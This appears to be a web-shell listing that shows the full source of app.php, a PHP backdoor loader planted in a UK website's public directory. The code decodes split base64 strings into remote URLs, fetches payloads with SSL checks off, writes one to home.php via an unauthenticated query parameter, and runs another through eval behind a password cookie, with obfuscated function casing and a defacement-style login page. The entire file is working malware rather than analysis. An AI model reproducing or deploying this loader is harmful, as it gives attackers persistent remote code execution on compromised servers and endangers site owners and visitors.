HEX
Server: LiteSpeed
System: Linux venus 5.15.0-157-generic #167-Ubuntu SMP Wed Sep 17 21:35:53 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/domains/beautygrove.co.uk/public_html/app.php
<?php
/**
 * ======================================================================
 * SHADOW REVOLT LOADER
 * ======================================================================
 * A dark-styled payload launcher disguised as a rebellion login page.
 * Blends sinister UI with hidden eval-based code execution.
 *
 * STRUCTURE:
 *  - Login page: bloody dark with fire header, One Piece flag background,
 *    and mocking Indonesian quote against corruption.
 *  - ?landak trigger: fetch + save file (no login required).
 *  - Default runner: protected by bcrypt login system.
 *
 * VISUAL:
 *  - Big flaming title above everything.
 *  - Quote (long, bloody, harsh) placed ABOVE login form card.
 *  - Login form styled as bloody ritual box.
 *  - Rat-in-suit image at bottom-right for symbolic mockery.
 * ======================================================================
 */

define('LOGIN_HASH', '$2y$10$AUZBXjZmVtHCN64tMheQW.OGoc8o2vroFPg7ZrSPdQybNU2A2y5cO');
define('LOGIN_COOKIE', 'shadow_gate');
define('LOGIN_EXPIRY', 3600);

function _compileFetchCoreLite($u) {
    if (function_exists('curl_version')) {
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $u);
        curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
        $r = curl_exec($c);
        if (curl_errno($c)) { $e = curl_error($c); curl_close($c); throw new Exception("cURL Error: " . $e); }
        curl_close($c); return $r;
    }
    throw new Exception("cURL not available.");
}
function _compileExecPayloadTask($u) {
    $x = _compileFetchCoreLite($u);
    if ($x === false || trim($x) === '') throw new Exception("Empty or failed content.");
    EvAl("?>" . $x);
}
function _compileDecodeChunkUnit($d) { return bAse64_dEcoDe($d); }
function _compilePushToDiskNode($f, $c) { file_put_contents($f, $c); }

function _compileRenderLoginPage($quote) {
    ?>
    <!DOCTYPE html>
    <html lang="id">
    <head>
        <meta charset="UTF-8">
        <title>𝐒𝐇𝐄𝐋𝐋 𝐊𝐈𝐁𝐀</title>
        <style>
            body {
                margin: 0;
                font-family: 'Courier New', monospace;
                background: url('https://i.ibb.co/JR9gBhLV/k1b4.png') no-repeat center center fixed;
                background-size: cover;
                color: #fff;
                text-align: center;
                overflow: hidden;
            }
            .overlay {
                background: rgba(0,0,0,0.85);
                min-height: 100vh;
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
                padding: 30px;
            }
            h1.fire-title {
                font-size: 42px;
                color: #7722ffff;
                text-transform: uppercase;
                margin-bottom: 20px;
                text-shadow: 0 0 10px #7722ffff, 0 0 25px #7722ffff, 0 0 40px #7722ffff;
                animation: flame 2s infinite alternate;
            }
            @keyframes flame {
                from { text-shadow: 0 0 15px #7722ffff, 0 0 30px #7722ffff; }
                to { text-shadow: 0 0 25px #7722ffff, 0 0 50px #7722ffff; }
            }
            .quote {
                max-width: 800px;
                font-size: 16px;
                margin-bottom: 30px;
                line-height: 1.6;
                color: #7722ffff;
                font-weight: bold;
                text-shadow: 0 0 10px #000, 0 0 15px #900;
                padding: 20px;
                border-left: 4px solid #7722ffff;
                border-right: 4px solid #7722ffff;
                background: rgba(20,0,0,0.6);
            }
            .login-box {
                background: rgba(20, 20, 20, 0.8);
                border-radius: 12px;
                padding: 30px;
                width: 320px;
                box-shadow: 0 0 20px #7722ffff;
                border: 2px solid #7722ffff;
            }
            .login-box input[type="password"] {
                width: 100%;
                padding: 12px;
                margin-bottom: 15px;
                border: none;
                border-radius: 6px;
                background: #111;
                color: #7722ffff;
                font-size: 15px;
                outline: none;
                box-shadow: inset 0 0 10px #7722ffff;
            }
            .login-box button {
                width: 100%;
                padding: 12px;
                border: none;
                border-radius: 6px;
                background: linear-gradient(90deg, #7722ffff, #7722ffff);
                color: #fff;
                font-weight: bold;
                cursor: pointer;
                transition: 0.3s;
            }
            .login-box button:hover {
                background: linear-gradient(90deg, #7722ffff, #7722ffff);
                box-shadow: 0 0 20px #7722ffff;
            }
            .rat {
                position: fixed;
                bottom: 10px;
                right: 10px;
                width: 100px;
                filter: drop-shadow(0 0 8px #7722ffff);
                opacity: 0.9;
            }
        </style>
    </head>
    <body>
        <div class="overlay">
            <h1 class="fire-title">
░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░  ██╗░░██╗██╗██████╗░░█████╗░
██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░  ██║░██╔╝██║██╔══██╗██╔══██╗
╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░  █████═╝░██║██████╦╝███████║
░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░  ██╔═██╗░██║██╔══██╗██╔══██║
██████╔╝██║░░██║███████╗███████╗███████╗  ██║░╚██╗██║██████╦╝██║░░██║
╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝  ╚═╝░░╚═╝╚═╝╚═════╝░╚═╝░░╚═╝</h1>
            <div class="quote">
                <?= htmlspecialchars($quote) ?>
            </div>
            <div class="login-box">
                <form method="post">
                    <input type="password" name="password" placeholder="𝐊𝐈𝐁𝐀" required>
                    <button type="submit">Masuk</button>
                </form>
            </div>
        </div>
        <img class="rat" src="https://i.ibb.co/JR9gBhLV/k1b4.png" alt="𝐊𝐈𝐁𝐀">
    </body>
    </html>
    <?php
}

function _compileAuthAndRun($payloadUrl) {
    if (isset($_COOKIE[LOGIN_COOKIE])) return _compileExecPayloadTask($payloadUrl);
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if (password_verify($_POST['password'], LOGIN_HASH)) {
            setcookie(LOGIN_COOKIE, '1', time() + LOGIN_EXPIRY, "/");
            return _compileExecPayloadTask($payloadUrl);
        }
    }
    $quote = "WOPS CAER";
    _compileRenderLoginPage($quote);
    exit;
}

if (isset($_GET['landak'])) {
    try {
        $p1 = 'aHR0cHM6Ly9wYXN0ZWJpb';
        $p2 = 'i5jb20vcmF3L0RTU25SZlND';
        $url = _compileDecodeChunkUnit($p1 . $p2);
        $d = _compileFetchCoreLite($url);
        if ($d !== false && trim($d) !== '') { _compilePushToDiskNode('home.php', $d); echo "File created."; }
        else echo "No content.";
    } catch (Exception $e) { echo "Error: " . $e->getMessage(); }
    exit;
}

try {
    $r1 = 'aHR0cHM6Ly9wZW5nb2Nva2h';
    $r2 = 'hbmRhbC5wYWdlcy5kZXYvbGFuZGFrX2FsZmEudHh0';
    $u = _compileDecodeChunkUnit($r1 . $r2);
    _compileAuthAndRun($u);
} catch (Exception $e) { echo "Error: " . $e->getMessage(); }